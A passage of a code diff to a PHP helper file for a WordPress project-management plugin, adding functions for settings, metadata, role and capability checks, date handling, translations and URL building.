' ); -} - -/** - * Get HTML wrap id - * - * @return string - */ -function pm_root_element_id() { - return apply_filters( 'pm_root_element_id', 'wedevs-pm' ); -} - -/** - * Get admin slug - * - * @return string - */ -function pm_admin_slug() { - return apply_filters( 'pm_admin_slug', 'pm_projects' ); -} - -/** - * Get admin url - * - * @return string - */ -function pm_admin_url() { - $slug = pm_admin_slug(); - return apply_filters( 'pm_admin_url', admin_url( "admin.php?page={$slug}" ) ); -} - -/** - * Dashboard Logo - * - * @return void - */ -function pm_dashboard_logo() { - // $logo = get_option( 'pm_frontend_logo' ); - // if ( $logo ) { - // return wp_get_attachment_url( $logo ); - // } - - // return ERP_DASHBOARD_ASSETS . '/images/pm-logo.png'; -} - -function pm_active_for_network() { - - $plugins = get_plugins(); - $plugin_path = false; - - foreach ( $plugins as $path => $plugin ) { - if ( $plugin['TextDomain'] == 'wedevs-project-manager' ) { - $plugin_path = $path; - } - } - - if ( empty( $plugin_path ) ) { - return false; - } - - if ( is_plugin_active_for_network( $plugin_path ) ) { - return true; - } - - return false; -} - -function pm_user_meta_key() { - global $wpdb; - - return $wpdb->prefix . 'capabilities'; -} - -function pm_can_create_user_at_project_create_time() { - return apply_filters( 'pm_can_create_user_at_project_create_time', true ); -} - -function pm_get_estimation_type() { - if ( ! function_exists( 'pm_pro_is_module_active' ) ) { - return 'task'; - } - - if ( pm_pro_is_module_active( 'Sub_Tasks/Sub_Tasks.php' ) ) { - return 'subtask'; - } - - // $db_est_type = pm_get_setting( 'estimation_type' ); - - // if ( empty( $db_est_type ) ) { - // return 'task'; - // } - - return 'task'; -} - -function pm_is_active_time_tracker_module() { - if ( ! function_exists( 'pm_pro_is_module_active' ) ) { - return false; - } - - if ( pm_pro_is_module_active( 'Time_Tracker/Time_Tracker.php' ) ) { - return true; - } - - return false; -} - -function pm_second_to_time( $seconds ) { - $total_second = $seconds; - // extract hours - $hours = floor( $seconds / (60 * 60) ); - - // extract minutes - $divisor_for_minutes = $seconds % (60 * 60); - $minutes = floor( $divisor_for_minutes / 60 ); - - // extract the remaining seconds - $divisor_for_seconds = $divisor_for_minutes % 60; - $seconds = ceil( $divisor_for_seconds ); - - // return the final array - $obj = array( - 'hour' => str_pad( (int) $hours, 2, '0', STR_PAD_LEFT ), - 'minute' => str_pad( (int) $minutes, 2, '0', STR_PAD_LEFT ), - 'second' => str_pad( (int) $seconds, 2, '0', STR_PAD_LEFT ), - 'total_second' => $total_second - ); - - return $obj; -} - -/** - * [pm_get_projects description] - * @param array|string $params - * @return [type] - */ -function pm_get_projects( $params = [] ) { - return WeDevs\PM\Project\Helper\Project::get_results( $params ); -} - -/** - * [pm_get_task_lists description] - * @param array|string $params - * @return [type] - */ -function pm_get_task_lists( $params = [] ) { - return \WeDevs\PM\Task_List\Helper\Task_List::get_results( $params ); -} - -/** - * [pm_get_tasks description] - * @param array|string $params - * @return [type] - */ -function pm_get_tasks( $params = [] ) { - return \WeDevs\PM\task\Helper\Task::get_results( $params ); -} - -/** - * [pm_get_tasks description] - * @param array|string $params - * @return [type] - */ -function pm_get_activities( $params = [] ) { - return \WeDevs\PM\Activity\Helper\Activity::get_results( $params ); -} - -/** - * [pm_get_milestones description] - * @param array|string $params - * @return [type] - */ -function pm_get_milestones( $params = [] ) { - return \WeDevs\PM\Milestone\Helper\Milestone::get_results( $params ); -} - -/** - * [pm_get_discussions description] - * @param array|string $params - * @return [type] - */ -function pm_get_discussions( $params = [] ) { - return \WeDevs\PM\Discussion_Board\Helper\Discussion_Board::get_results( $params ); -} - -/** - * [pm_get_comments description] - * @param array|string $params - * @return [type] - */ -function pm_get_comments( $params = [] ) { - return \WeDevs\PM\Comment\Helper\Comment::get_results( $params ); -} - -/** - * [pm_get_files description] - * @param array|string $params - * @return [type] - */ -function pm_get_files( $params = [] ) { - return \WeDevs\PM\File\Helper\File::get_results( $params ); -} - -/** - * [pm_get_users description] - * @param array|string $params - * @return [type] - */ -function pm_get_users( $params = [] ) { - return \WeDevs\PM\User\Helper\User::get_results( $params ); -} - -/** - * check the query is single data or not - * @param array|string $params - * @return [type] - */ -function pm_is_single_query( $params ) { - if ( empty( $params['id'] ) ) { - return false; - } - - if ( is_array( $params['id'] ) ) { - return false; - } - - $id = pm_get_prepare_data( $params['id'] ); - - if ( count( $id ) == 1 ) { - return true; - } - - return false; -} - -function pm_api_namespace() { - return config( 'app.slug' ) . '/v' . config( 'app.api' ); -} - -function pm_current_user_can_update_core() { - if ( is_multisite() ) { - if ( is_main_site() && current_user_can( 'activate_plugins' ) ) { - return true; - } else { - return false; - } - } - - if ( current_user_can( 'activate_plugins' ) ) { - return true; - } - - return false; -} - -/** - * check value for boolean - * - * @param string|boolean $val - * - * @return [type] - */ -function pm_is_true ( $val ) { - - if ( is_string( $val ) ) { - return $val == 'true' || $val == '1' ? true : false; - } - - return (int) $val ? true : false; -} - -/** - * [pm_pro_progress_page_slug description] - * @return [type] - */ -function pm_admin_cap_slug() { - return apply_filters( 'pm_admin_capability_slug', 'pm_admin' ); -} - -/** - * [pm_pro_reports_page_slug description] - * @return [type] - */ -function pm_manager_cap_slug() { - return apply_filters( 'pm_manager_capability_slug', 'pm_manager' ); -} - -/** - * [pm_pro_menu_access_capabilities description] - * @param boolean $cap - * @return [type] - */ -function pm_access_capabilities( $cap = false ) { - $caps = [ - pm_admin_cap_slug() => __( 'PM Admin', 'wedevs-project-manager' ), - pm_manager_cap_slug() => __( 'PM Manager', 'wedevs-project-manager' ), - ]; - - $caps = apply_filters( 'pm_access_capabilities', $caps ); - - return empty( $cap ) ? $caps : $caps[$cap]; -} + $tzstring ) { + if ( $tzstring == $tzstr ) { + return $tzcode; + } + } + + return $default; +} + +if ( ! function_exists( 'format_date' ) ) { + function format_date( $date ) { + + if ( $date && !is_object($date) ) { + $date = \Carbon\Carbon::parse($date); + } + $date_format = get_option( 'date_format' ); + $time_format = get_option( 'time_format' ); + $timezone = get_wp_timezone(); + + return [ + 'date' => $date ? $date->format( 'Y-m-d' ) : null, + 'time' => $date ? $date->format( 'H:i:s' ) : null, + 'datetime' => $date ? $date->format( 'Y-m-d H:i:s' ) : null, + 'timezone' => tzcode_to_tzstring( $timezone ), + 'timestamp' => $date ? $date->toATOMString() : null + ]; + } +} + + +function pm_date_format( $date ) { + + $date_format = get_option( 'date_format' ); + + return $date ? Date( $date_format, strtotime( $date ) ) : ''; +} + +function make_carbon_date( $date ) { + $timezone = get_wp_timezone(); + $timezone = tzcode_to_tzstring( $timezone ); + $time = $date ? strtotime( $date ) : null; + + if ( $time ) { + return new \Carbon\Carbon( $date, $timezone ); + } + + return null; +} + +function pm_get_wp_roles() { + global $wp_roles; + + if ( !$wp_roles ) { + $wp_roles = new WP_Roles(); + } + + return $wp_roles->get_names(); +} + +function pm_get_setting( $key = null, $project_id = false ) { + $settings = null; + $all_settings = null; + + if ( $key && $project_id ) { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) + ->where('project_id', $project_id) + ->first(); + } else if ($key) { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) + ->first(); + } else { + $hide = \WeDevs\PM\Settings\Models\Settings::$hideSettings; + $all_settings = \WeDevs\PM\Settings\Models\Settings::whereNotIn( 'key', $hide )->get(); + } + + if ( $settings ) { + return $settings->value; + } + + if ( $all_settings ) { + $settings = $all_settings->toArray(); + return wp_list_pluck( $settings, 'value', 'key' ); + } + + return null; +} + +function pm_get_settings( $key = null, $project_id = false ) { + $settings = null; + + if ( $key && $project_id ) { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) + ->where('project_id', $project_id) + ->get() + ->toArray(); + } else if ( $key ) { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) + ->get() + ->toArray(); + + } else if ( $project_id ) { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'project_id', $project_id ) + ->get() + ->toArray(); + } + + return $settings; +} + +function pm_delete_settings( $key, $project_id = false ) { + + if ( $project_id ) { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) + ->where('project_id', $project_id) + ->first(); + } else { + $settings = \WeDevs\PM\Settings\Models\Settings::where( 'key', $key ) + ->first(); + } + + if ( $settings ) { + $settings->delete(); + + wp_send_json_success(); + } + + wp_send_json_error(); +} + +function pm_set_settings( $key, $value, $project_id = false ){ + + if ( $project_id == false ){ + $settings = \WeDevs\PM\Settings\Models\Settings::updateOrCreate(['key' => $key], ['value' => $value ]); + }else { + $settings = \WeDevs\PM\Settings\Models\Settings::updateOrCreate(['key' => $key, 'project_id' => $project_id ], ['value' => $value ]); + } + + return $settings; +} + +function pm_add_meta( $id, $project_id, $type, $key, $value ) { + WeDevs\PM\Common\Models\Meta::create([ + 'entity_id' => $id, + 'entity_type' => $type, + 'meta_key' => $key, + 'meta_value' => $value, + 'project_id' => $project_id, + 'created_by' => get_current_user_id(), + 'created_by' => get_current_user_id() + ]); +} + + +function pm_update_meta( $id, $project_id, $type, $key, $value ) { + $meta = WeDevs\PM\Common\Models\Meta::where( 'entity_id', $id ) + ->where( 'project_id', $project_id ) + ->where( 'entity_type', $type ) + ->where( 'meta_key', $key ) + ->first(); + + if ( $meta ) { + $meta->update(['meta_value' => $value]); + } else { + pm_add_meta( $id, $project_id, $type, $key, $value ); + } +} + +function pm_get_meta( $entity_id, $project_id, $type, $key, $single = true ) { + $entity_id = pm_get_prepare_data( $entity_id ); + + $meta = WeDevs\PM\Common\Models\Meta::where( function($q) use($project_id) { + if ( !empty( $project_id ) ) { + $q->where( 'project_id', $project_id ); + } + } ) + ->whereIn( 'entity_id', $entity_id ) + ->where( 'entity_type', $type ) + ->where( 'meta_key', $key ); + + if ( $single ) { + $meta = $meta->first(); + } else { + $meta = $meta->get()->toArray(); + } + + return $meta; +} + +function pm_delete_meta( $id, $project_id, $type, $key = false ) { + $meta = WeDevs\PM\Common\Models\Meta::where( 'entity_id', $id ) + ->where( 'project_id', $project_id ) + ->where( 'entity_type', $type ); + + if ( $key ) { + $meta = $meta->where( 'meta_key', $key ); + $meta = $meta->first(); + } + + if ( $meta ) { + $meta->delete(); + } +} + +function pm_get_response( $resource, $extra = [] ) { + $manager = new \League\Fractal\Manager(); + $data_serialize = new \League\Fractal\Serializer\DataArraySerializer(); + $manager->setSerializer( $data_serialize ); + + if ( isset( $_GET['with'] ) ) { + $manager->parseIncludes( sanitize_text_field( wp_unslash( $_GET['with'] ) ) ); + } + + if ($resource) { + $response = $manager->createData( $resource )->toArray(); + + } else { + $response = []; + } + + return array_merge( $extra, $response ); +} + +function pmpr() { + $args = func_get_args(); + + foreach ( $args as $arg ) { + echo '
'; print_r( $arg ); '
'; + } +} + +function pm_pro_get_project_capabilities( $project_id ) { + $caps = WeDevs\PM\Settings\Models\Settings::where('key', 'capabilities') + ->where('project_id', $project_id) + ->first(); + + if ( ! $caps ) { + return [ + 'co_worker' => pm_default_co_caps(), + 'client' => pm_default_client_caps() + ]; + } + + $formatedCaps = []; + + foreach ( $caps->value as $key => $value ) { + $formatedCaps[$key] = array_map( function($val) { + return $val === 'true' ? true : false; + }, $value ); + } + + return $formatedCaps; +} + +function pm_is_user_in_project( $project_id, $user_id = false ) { + $user_id = $user_id ? $user_id : get_current_user_id(); + + $user_in_project = WeDevs\PM\User\Models\User_Role::where( 'project_id', $project_id ) + ->where( 'user_id', $user_id ) + ->first(); + + return $user_in_project ? true : false; +} + +function pm_is_user_in_task( $project_id, $user_id = false ) { + $user_id = $user_id ? $user_id : get_current_user_id(); + + $user_in_task = WeDevs\PM\Common\Models\Assignee::where( 'project_id', $project_id ) + ->where( 'assigned_to', $user_id ) + ->first(); + + return $user_in_task ? true : false; +} + +function pm_get_role( $project_id, $user_id = false ) { + $user_id = $user_id ? $user_id : get_current_user_id(); + + $role = WeDevs\PM\User\Models\User_Role::with('role') + ->where( 'project_id', $project_id ) + ->where( 'user_id', $user_id ) + ->first(); + + if ( $role ) { + return $role->role->slug; + } + + return false; +} + +function pm_get_role_caps( $project_id, $role ) { + $caps = pm_pro_get_project_capabilities( $project_id ); + + if ( !empty( $caps[$role] ) ) { + return $caps[$role]; + } + + return []; +} + +function pm_is_manager( $project_id, $user_id = false ) { + $user_id = $user_id ? $user_id : get_current_user_id(); + + $role = pm_get_role( $project_id, $user_id ); + + return $role == 'manager' ? true : false; +} + +/** + * Checking for PM_Admin capability + * @param boolean $user_id + * @return [type] + */ +function pm_has_admin_capability( $user_id = false ) { + + $user_id = $user_id ? intval( $user_id ) : get_current_user_id(); + + if ( user_can( $user_id, 'manage_options' ) ) { + return true; + } + + if ( user_can( $user_id, pm_admin_cap_slug() ) ) { + return true; + } + + return false; +} + +/** + * Checking for PM_Managre capability + * @param boolean $user_id + * @return [type] + */ +function pm_has_manage_capability( $user_id = false ) { + + $user_id = $user_id ? intval( $user_id ) : get_current_user_id(); + $user = get_user_by( 'id', $user_id ); + + if ( pm_has_admin_capability() ) { + return true; + } + + if ( user_can( $user_id, pm_manager_cap_slug() ) ) { + return true; + } + + return false; +} + +/** + * Permission checking for outside of projects + * @param boolean $cap + * @param boolean $user_id + * @return [type] + */ +function pm_user_can_access( $cap = false, $user_id = false ) { + $user_id = $user_id ? $user_id : get_current_user_id(); + $cap = empty( $cap ) ? pm_manager_cap_slug() : $cap; + + if ( pm_has_manage_capability() ) { + return true; + } + + if ( user_can( $user_id, $cap ) ) { + return true; + } + + return false; +} +/** + * Permission checking for inside a project + * @param [type] $cap + * @param [type] $project_id + * @param boolean $user_id + * @return [type] + */ +function pm_user_can( $cap, $project_id, $user_id = false ) { + $user_id = $user_id ? $user_id : get_current_user_id(); + + $cache_key = 'pm_user_can-' . md5( serialize( [ + 'cap' => $cap, + 'project_id' => $project_id, + 'user_id' => $user_id + ] ) ); + + $items = wp_cache_get( $cache_key, 'pm' ); + + if ( false === $items ) { + if ( pm_has_manage_capability( $user_id ) ) { + return true; + } + + if ( ! pm_is_user_in_project( $project_id, $user_id ) ) { + return false; + } + + if ( pm_is_manager( $project_id, $user_id ) ) { + return true; + } + + $role = pm_get_role( $project_id, $user_id ); + + if ( !$role ) { + return false; + } + + if ( $cap === 'view_project' ) { + return true; + } + + $role_caps = pm_get_role_caps( $project_id, $role ); + + if ( isset( $role_caps[$cap] ) ) { + return $role_caps[$cap]; + } + + wp_cache_set( $cache_key, $items, 'pm' ); + } + + return false; +} + +function pm_has_project_create_capability( $user_id = false ) { + return pm_user_can_access( pm_manager_cap_slug() ); +} + +function pm_has_project_managing_capability( $project_id, $user_id = false ) { + if ( pm_has_manage_capability( $user_id ) ) { + return true; + } + if ( pm_is_manager( $project_id, $user_id ) ) { + return true; + } + + return false; +} + +function pm_user_can_complete_task( $task, $user_id = false ) { + if(!$task) { + return false; + } + $user_id = $user_id ? $user_id: get_current_user_id(); + + if ( pm_has_manage_capability( $user_id ) ) { + return true; + } + + if ( pm_is_manager( $task->project_id, $user_id ) ) { + return true; + } + + if ( $task->created_by == $user_id ) { + return true; + } + + $assignees = $task->assignees->toArray(); //pluck( 'assigned_to' )->all(); + $assignees = wp_list_pluck( $assignees, 'assigned_to' ); + $in_array = in_array( $user_id, $assignees ); + + if ( !empty( $in_array ) ) { + return true; + } + + return false; +} + +/** + * What type of request is this? + * + * @param string $type admin, ajax, cron or frontend. + * @return bool + */ +function pm_is_request( $type ) { + switch ( $type ) { + case 'admin' : + return is_admin(); + case 'ajax' : + return defined( 'DOING_AJAX' ); + case 'cron' : + return defined( 'DOING_CRON' ); + case 'frontend' : + return ( ! is_admin() || defined( 'DOING_AJAX' ) ) && ! defined( 'DOING_CRON' ); + } +} + +/** + * The main logging function + * + * @since 0.1 + * @uses error_log + * @param string $type type of the error. e.g: debug, error, info + * @param string $msg + */ +function pm_log( $type = '', $msg = '' ) { + $ouput_path = config( 'frontend.patch' ); + + if ( WP_DEBUG == true ) { + $msg = sprintf( "[%s][%s] %s\n", date( 'd.m.Y h:i:s' ), $type, print_r($msg, true) ); + error_log( $msg, 3, $ouput_path . '/tmp/pm-debug.log' ); + } +} + +function pm_get_translations_for_plugin_domain( $domain, $language_dir = null ) { + + if ( $language_dir == null ) { + $language_dir = config('frontend.patch') . '/languages/'; + } + + $languages = get_available_languages( $language_dir ); + $get_site_lang = is_admin() ? get_user_locale() : get_locale(); + $mo_file_name = $domain .'-'. $get_site_lang; + $translations = []; + + if ( + in_array( $mo_file_name, $languages ) + && + file_exists( $language_dir . $mo_file_name . '.mo' ) + ) { + $mo = new MO(); + if ( $mo->import_from_file( $language_dir . $mo_file_name . '.mo' ) ) { + $translations = $mo->entries; + } + } + + return [ + 'header' => isset( $mo ) ? $mo->headers : '', + 'translations' => $translations + ]; +} + +/** + * Returns Jed-formatted localization data. + * + * @param string $domain Translation domain. + * + * @return array + */ +function pm_get_jed_locale_data( $domain, $language_dir = null ) { + $plugin_translations = pm_get_translations_for_plugin_domain( $domain, $language_dir ); + $translations = get_translations_for_domain( $domain ); + + $locale = array( + 'domain' => $domain, + 'locale_data' => array( + $domain => array( + '' => array( + 'domain' => $domain, + 'lang' => is_admin() ? get_user_locale() : get_locale(), + ), + ), + ), + ); + + if ( ! empty( $translations->headers['Plural-Forms'] ) ) { + $locale['locale_data'][ $domain ]['']['plural_forms'] = $translations->headers['Plural-Forms']; + } else if ( ! empty( $plugin_translations['header'] ) ) { + $locale['locale_data'][ $domain ]['']['plural_forms'] = $plugin_translations['header']['Plural-Forms']; + } + + $entries = array_merge( $plugin_translations['translations'], $translations->entries ); + + foreach ( $entries as $msgid => $entry ) { + $locale['locale_data'][ $domain ][ $msgid ] = $entry->translations; + } + return $locale; +} + +function pm_tb_prefix() { + global $wpdb; + + return $wpdb->prefix; +} + +/** + * Displays tasks, messages, milestones contents. Removed `the_content` filter + * and applied other filters due to conflicts created by other plugins. + * + * @param string $content + * @return string + */ +function pm_get_content( $content ) { + $content = apply_filters( 'pm_get_content', $content ); + + return $content; +} + +function pm_filter_content_url( $content ) { + $content = apply_filters( 'pm_get_content_url', $content ); + + return $content; +} + +function pm_get_user_url( $user_id, $is_admin ) { + $user_id = ! empty( $user_id ) ? $user_id : get_current_user_id(); + + $is_admin = $is_admin ? 'admin' : 'frontend'; + $pm_base = pm_get_project_page($is_admin); + $user_url = $pm_base . '#/my-tasks/' . $user_id; + + return $user_url; +} + +function pm_get_task_url( $project_id, $list_id, $task_id, $is_admin ) { + $is_admin = $is_admin ? 'admin' : 'frontend'; + $pm_base = pm_get_project_page($is_admin); + $task_url = $pm_base . '#/projects/' . $project_id . '/task-lists/' . $list_id . '/tasks/' . $task_id; + + return $task_url; +} + +function pm_get_discuss_url( $project_id, $discuss_id, $is_admin ) { + $is_admin = $is_admin ? 'admin' : 'frontend'; + $pm_base = pm_get_project_page( $is_admin ); + $task_url = $pm_base . '#/projects/' . $project_id . '/discussions/' . $discuss_id; + + return $task_url; +} + +function pm_get_task( $task_id ) { + $task = Task::with('task_lists') + ->where( 'id', $task_id ) + ->first(); + + if ( $task == NULL ) { + return pm_get_response( null, [ + 'message' => pm_get_text('success_messages.no_element') + ] ); + } + + $resource = new Item( $task, new Task_Transformer ); + + return pm_get_response( $resource ); +} + +function pm_get_file_download_url( $project_id, $user_id, $file_id ) { + return get_rest_url() . 'pm/v2/projects/' . $project_id . '/files/' . $file_id . '/users/' . $user_id . '/download'; +} + +function pm_get_list_url( $project_id, $list_id, $is_admin ) { + + $is_admin = $is_admin ? 'admin' : 'frontend'; + $pm_base = pm_get_project_page( $is_admin ); + $list_url = $pm_base . '#/projects/' . $project_id . '/task-lists/' . $list_id; + + return $list_url; +} + +function pm_get_front_end_project_page() { + $pages = get_option( 'pm_pages', [] ); + $project = empty( $pages['project'] ) ? '' : absint( $pages['project'] ); + + if ( $project ) { + return get_permalink( $project ); + } + + return ''; +} + +function pm_get_project_page( $type = false ) { + + if ( $type == 'admin' ) { + return admin_url( 'admin.php?page=pm_projects' ); + } + + if ( $type == 'frontend' ) { + return pm_get_front_end_project_page(); + } + + if ( pm_is_request( 'admin' ) ) { + return admin_url( 'admin.php?page=pm_projects' ); + } + + if ( pm_is_request( 'frontend' ) ) { + return pm_get_front_end_project_page(); + } +} + +function pm_total_projects() { + $project = Project::count(); + return $project; +} + +function pm_total_task() { + $task = Task::count(); + return $task; +} + +function pm_total_task_list() { + $task_list = Task_List::count(); + return $task_list; +} + +function pm_total_milestone() { + $milestone = Milestone::count(); + return $milestone; +} + +function pm_total_message() { + $message = Discussion_Board::count(); + return $message; +} +/** +* Get current IP +* +* @since 1.0.0 +* +* @return void +**/ +function pm_get_ip() { + $ipaddress = ''; + + if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) { + $ipaddress = wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ); //phpcs:ignore + } else if ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { + $ipaddress = wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ); //phpcs:ignore + } else if ( isset( $_SERVER['HTTP_X_FORWARDED'] ) ) { + $ipaddress = wp_unslash( $_SERVER['HTTP_X_FORWARDED'] ); //phpcs:ignore + } else if ( isset( $_SERVER['HTTP_FORWARDED_FOR'] ) ) { + $ipaddress = wp_unslash( $_SERVER['HTTP_FORWARDED_FOR'] ); //phpcs:ignore + } else if ( isset( $_SERVER['HTTP_FORWARDED'] ) ) { + $ipaddress = wp_unslash( $_SERVER['HTTP_FORWARDED'] ); //phpcs:ignore + } else if ( isset( $_SERVER['REMOTE_ADDR'] ) ) { + $ipaddress = wp_unslash( $_SERVER['REMOTE_ADDR'] ); //phpcs:ignore + } else { + $ipaddress = 'UNKNOWN'; + } + + return $ipaddress; +} + +function pm_get_capabilities() { + + return [ + 'Message Create', + 'Message Private', + 'Task List Create', + 'Task List Private', + 'Milestone Create', + 'Milestone Private', + 'Task Create', + 'Task Private', + 'File Create', + 'File Private', + ]; +} + +function pm_get_capabilities_relation( $role ) { + + $caps = [ + 'create_message' => 1, + 'view_private_message' => 2, + 'create_list' => 3, + 'view_private_list' => 4, + 'create_milestone' => 5, + 'view_private_milestone' => 6, + 'create_task' => 7, + 'view_private_task' => 8, + 'create_file' => 9, + 'view_private_file' => 10 + ]; + + return $caps[$role]; +} + +function pm_default_cap( $cap_id = false ) { + $pm_caps = [ + '1' => 'create_message', + '2' => 'view_private_message', + '3' => 'create_list', + '4' => 'view_private_list', + '5' => 'create_milestone', + '6' => 'view_private_milestone', + '7' => 'create_task', + '8' => 'view_private_task', + '9' => 'create_file', + '10' => 'view_private_file' + ]; + + if ( $cap_id ) { + return $pm_caps[$cap_id]; + } + + return $pm_caps; +} + +function pm_default_manager_caps() { + return [ + 'create_message' => true, + 'view_private_message' => true, + 'create_list' => true, + 'view_private_list' => true, + 'create_task' => true, + 'view_private_task' => true, + 'create_milestone' => true, + 'view_private_milestone' => true, + 'create_file' => true, + 'view_private_file' => true + ]; +} + +function pm_default_co_caps() { + return [ + 'create_message' => true, + 'view_private_message' => true, + 'create_list' => true, + 'view_private_list' => true, + 'create_task' => true, + 'view_private_task' => true, + 'create_milestone' => true, + 'view_private_milestone' => true, + 'create_file' => true, + 'view_private_file' => true + ]; +} + +function pm_default_client_caps() { + return [ + 'create_message' => true, + 'view_private_message' => false, + 'create_list' => true, + 'view_private_list' => false, + 'create_task' => true, + 'view_private_task' => false, + 'create_milestone' => true, + 'view_private_milestone' => false, + 'create_file' => true, + 'view_private_file' => false + ]; +} + +function pm_get_prepare_format( $ids, $is_string = false ) { + + + $ids = pm_get_prepare_data( $ids ); + + // how many entries will we select? + $how_many = count( $ids ); + + // prepare the right amount of placeholders + // if you're looing for strings, use '%s' instead + if( $is_string ) { + $placeholders = array_fill( 0, $how_many, '%s' ); + } else { + $placeholders = array_fill( 0, $how_many, '%d' ); + } + + // glue together all the placeholders... + // $format = '%d, %d, %d, %d, %d, [...]' + $format = implode( ', ', $placeholders ); + + return $format; +} + +function pm_get_prepare_data( $args, $delimiter = ',' ) { + + $new = []; + + if ( is_array( $args ) ) { + foreach ( $args as $date_key => $value ) { + if ( empty( $value ) ) { + continue; + } + + $new[trim($date_key)] = trim( $value ); + } + } + + if ( ! is_array( $args ) ) { + $args = explode( $delimiter, $args ); + + foreach ( $args as $date_key => $value ) { + if ( empty( $value ) ) { + continue; + } + + $new[trim($date_key)] = trim( $value ); + } + } + + return $new; +} + +/** + * Clean variables using pm_clean. Arrays are cleaned recursively. + * Non-scalar values are ignored. + * + * @param string|array $var Data to sanitize. + * @return string|array + */ +function pm_clean( $var ) { + if ( is_array( $var ) ) { + return array_map( 'pm_clean', $var ); + } else { + return is_scalar( $var ) ? sanitize_text_field( wp_unslash( $var ) ) : $var; + } +} + +/** + * Get Dashboard slug + * + * @since 1.0.0 + * @return string + */ +function pm_frontend_slug() { + $slug = get_option( 'pm_frontend_slug' ); + if ( ! $slug ) { + $slug = 'pm'; + } + + return apply_filters( 'pm_frontend_slug', sanitize_title( $slug ) ); +} + +/** + * Get dashboard url + * + * @return string + */ +function pm_frontend_url() { + $site_url = get_site_url(); + $dashboard_slug = ltrim( get_pm_frontend_slug(), '/' ); + + return trailingslashit( $site_url ) . $dashboard_slug; +} + +/** + * Get dashboard title + * + * @return string + */ +function pm_dashboard_title() { + $dashboard_title = get_option( 'pm_frontend_dashboard_title' ); + + if ( ! $dashboard_title ) { + $dashboard_title = __( 'Project Manager', 'wedevs-project-manager' ); + } + + return apply_filters( 'pm_dashboard_title', $dashboard_title ); +} + +/** + * Get frontend query var + * + * @return string + */ +function pm_register_query_var() { + return apply_filters( 'pm_frontend_query_var', 'pm_dashboard' ); +} + +/** + * Get HTML wrap + * + * @return string + */ +function pm_root_element() { + $id = pm_root_element_id(); + return apply_filters( 'pm_root_element', '
' ); +} + +/** + * Get HTML wrap id + * + * @return string + */ +function pm_root_element_id() { + return apply_filters( 'pm_root_element_id', 'wedevs-pm' ); +} + +/** + * Get admin slug + * + * @return string + */ +function pm_admin_slug() { + return apply_filters( 'pm_admin_slug', 'pm_projects' ); +} + +/** + * Get admin url + * + * @return string + */ +function pm_admin_url() { + $slug = pm_admin_slug(); + return apply_filters( 'pm_admin_url', admin_url( "admin.php?page={$slug}" ) ); +} + +/** + * Dashboard Logo + * + * @return void + */ +function pm_dashboard_logo() { + // $logo = get_option( 'pm_frontend_logo' ); + // if ( $logo ) { + // return wp_get_attachment_url( $logo ); + // } + + // return ERP_DASHBOARD_ASSETS . '/images/pm-logo.png'; +} + +function pm_active_for_network() { + + $plugins = get_plugins(); + $plugin_path = false; + + foreach ( $plugins as $path => $plugin ) { + if ( $plugin['TextDomain'] == 'wedevs-project-manager' ) { + $plugin_path = $path; + } + } + + if ( empty( $plugin_path ) ) { + return false; + } + + if ( is_plugin_active_for_network( $plugin_path ) ) { + return true; + } + + return false; +} + +function pm_user_meta_key() { + global $wpdb; + + return $wpdb->prefix . 'capabilities'; +} + +function pm_can_create_user_at_project_create_time() { + return apply_filters( 'pm_can_create_user_at_project_create_time', true ); +} + +function pm_get_estimation_type() { + if ( ! function_exists( 'pm_pro_is_module_active' ) ) { + return 'task'; + } + + if ( pm_pro_is_module_active( 'Sub_Tasks/Sub_Tasks.php' ) ) { + return 'subtask'; + } + + // $db_est_type = pm_get_setting( 'estimation_type' ); + + // if ( empty( $db_est_type ) ) { + // return 'task'; + // } + + return 'task'; +} + +function pm_is_active_time_tracker_module() { + if ( ! function_exists( 'pm_pro_is_module_active' ) ) { + return false; + } + + if ( pm_pro_is_module_active( 'Time_Tracker/Time_Tracker.php' ) ) { + return true; + } + + return false; +} + +function pm_second_to_time( $seconds ) { + $total_second = $seconds; + // extract hours + $hours = floor( $seconds / (60 * 60) ); + + // extract minutes + $divisor_for_minutes = $seconds % (60 * 60); + $minutes = floor( $divisor_for_minutes / 60 ); + + // extract the remaining seconds + $divisor_for_seconds = $divisor_for_minutes % 60; + $seconds = ceil( $divisor_for_seconds ); + + // return the final array + $obj = array( + 'hour' => str_pad( (int) $hours, 2, '0', STR_PAD_LEFT ), + 'minute' => str_pad( (int) $minutes, 2, '0', STR_PAD_LEFT ), + 'second' => str_pad( (int) $seconds, 2, '0', STR_PAD_LEFT ), + 'total_second' => $total_second + ); + + return $obj; +} + +/** + * [pm_get_projects description] + * @param array|string $params + * @return [type] + */ +function pm_get_projects( $params = [] ) { + return WeDevs\PM\Project\Helper\Project::get_results( $params ); +} + +/** + * [pm_get_task_lists description] + * @param array|string $params + * @return [type] + */ +function pm_get_task_lists( $params = [] ) { + return \WeDevs\PM\Task_List\Helper\Task_List::get_results( $params ); +} + +/** + * [pm_get_tasks description] + * @param array|string $params + * @return [type] + */ +function pm_get_tasks( $params = [] ) { + return \WeDevs\PM\task\Helper\Task::get_results( $params ); +} + +/** + * [pm_get_tasks description] + * @param array|string $params + * @return [type] + */ +function pm_get_activities( $params = [] ) { + return \WeDevs\PM\Activity\Helper\Activity::get_results( $params ); +} + +/** + * [pm_get_milestones description] + * @param array|string $params + * @return [type] + */ +function pm_get_milestones( $params = [] ) { + return \WeDevs\PM\Milestone\Helper\Milestone::get_results( $params ); +} + +/** + * [pm_get_discussions description] + * @param array|string $params + * @return [type] + */ +function pm_get_discussions( $params = [] ) { + return \WeDevs\PM\Discussion_Board\Helper\Discussion_Board::get_results( $params ); +} + +/** + * [pm_get_comments description] + * @param array|string $params + * @return [type] + */ +function pm_get_comments( $params = [] ) { + return \WeDevs\PM\Comment\Helper\Comment::get_results( $params ); +} + +/** + * [pm_get_files description] + * @param array|string $params + * @return [type] + */ +function pm_get_files( $params = [] ) { + return \WeDevs\PM\File\Helper\File::get_results( $params ); +} + +/** + * [pm_get_users description] + * @param array|string $params + * @return [type] + */ +function pm_get_users( $params = [] ) { + return 